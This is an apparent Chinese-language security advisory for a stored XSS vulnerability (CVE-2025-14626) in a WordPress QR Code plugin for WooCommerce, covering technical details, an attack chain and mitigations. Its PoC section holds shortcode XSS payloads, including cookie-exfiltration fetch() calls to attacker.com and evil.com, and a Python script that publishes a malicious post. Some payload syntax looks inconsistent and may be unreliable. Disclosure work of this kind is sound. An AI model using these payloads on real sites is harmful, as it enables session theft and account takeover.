IPBUF安全漏洞报告
English
CVE-2025-14626 CVSS 6.4 中危

CVE-2025-14626 WordPress QR Code插件存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14626
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
QR Code for WooCommerce order emails, PDF invoices, packing slips WordPress插件

相关标签

存储型XSSWordPress插件漏洞CVE-2025-14626QR Code插件WooCommerceShortcode注入中危漏洞CVSS 6.4

漏洞概述

CVE-2025-14626是WordPress平台上一款流行的QR码生成插件的安全漏洞。该插件用于在WooCommerce订单邮件、PDF发票和装箱单中生成QR码,为电商网站提供便捷的订单追踪和验证功能。漏洞源于插件在处理shortcode属性时存在严重的输入验证缺陷。具体而言,插件对用户提供的属性参数缺乏充分的输入清理和输出转义,导致恶意构造的JavaScript代码可以被存储在数据库中。当其他用户访问包含恶意代码的页面时,浏览器会执行这些脚本,从而实现跨站脚本攻击。攻击者可以利用此漏洞窃取用户的会话令牌、劫持用户账户、进行钓鱼攻击或传播恶意软件。由于该漏洞影响所有版本至1.9.42,且需要至少贡献者级别的账户权限即可利用,因此对使用该插件的WordPress网站构成了中等程度的安全风险。建议网站管理员立即更新到最新版本,并审查现有内容是否存在恶意代码。

技术细节

该漏洞的根本原因在于插件的shortcode处理器对用户输入的属性参数缺少适当的输入验证和输出编码。在WordPress中,shortcode是一种允许用户通过简短的标签在文章或页面中嵌入动态内容的机制。QR Code插件通过shortcode提供了便捷的QR码插入功能,但开发者在实现时未能遵循WordPress安全最佳实践。具体来说,当用户通过shortcode属性传递参数时,插件直接将用户输入插入到HTML输出中,而没有进行必要的HTML实体编码或输入验证。攻击者只需构造一个包含恶意JavaScript代码的shortcode,例如[qrcode_attack code='" onerror="alert(document.cookie)" data-x="'],该代码就会被永久存储在数据库中。每次页面加载时,恶意脚本都会执行,影响所有访问该页面的用户。漏洞位置位于lib/qrct/QrctWp.php文件的第1661行附近。该漏洞属于存储型XSS,相比反射型XSS具有更大的危害性,因为它不需要诱骗用户点击特定链接,恶意代码会持续存在于网站上。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的贡献者级别或更高权限账户
STEP 2
步骤2
攻击者创建或编辑文章/页面,插入包含恶意JavaScript代码的shortcode
STEP 3
步骤3
插件接收shortcode属性参数,由于缺乏输入验证,恶意代码被直接存入数据库
STEP 4
步骤4
当其他用户访问包含该shortcode的页面时,服务器从数据库读取并输出未转义的恶意代码
STEP 5
步骤5
用户浏览器将恶意代码识别为合法脚本并执行,导致Cookie窃取、会话劫持或其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-14626 Stored XSS PoC // Affected Plugin: QR Code for WooCommerce (versions <= 1.9.42) // Attack Vector: Shortcode attribute injection // Method 1: Basic XSS via shortcode attribute [qrcode code='" onerror="alert("XSS")"' alt='test'] // Method 2: Cookie stealing payload [qrcode code='" onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)" data-x="' width='100'] // Method 3: Session hijacking payload [qrcode_attack code='" onload="fetch(\'https://evil.com/log?data=\'+btoa(document.cookie))"' height='100'] // Method 4: Defacement payload [qrcode code='" onerror="document.body.innerHTML=\'<h1>Hacked</h1>\'" style='"' link='http://example.com'] // Notes: // - Requires contributor-level or higher WordPress account // - Payload persists in database (stored XSS) // - Executes when page is viewed by any user // - Can be injected via post content, page content, or widget areas // Python script to verify vulnerability import requests target_url = "http://target-wordpress-site.com/" login_url = target_url + "wp-login.php" post_url = target_url + "wp-json/wp/v2/posts" session = requests.Session() # Login with contributor account login_data = { "log": "attacker_username", "pwd": "attacker_password" } session.post(login_url, data=login_data) # Create post with malicious shortcode malicious_post = { "title": "QR Code Test", "content": "[qrcode code='\" onerror=\"alert(document.cookie)\"' alt='test']", "status": "publish" } response = session.post(post_url, json=malicious_post) print(f"Post created with ID: {response.json().get('id')}")

影响范围

QR Code for WooCommerce插件 <= 1.9.42

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时缓解措施:1) 禁用或删除该插件;2) 限制具有shortcode编辑权限的用户角色,仅保留管理员权限;3) 使用Web应用防火墙(WAF)规则过滤包含script标签、onerror、onload等XSS特征的请求;4) 手动检查数据库wp_posts表,搜索包含可疑shortcode的记录并清理;5) 启用HTTP安全头部如Content-Security-Policy来限制脚本执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表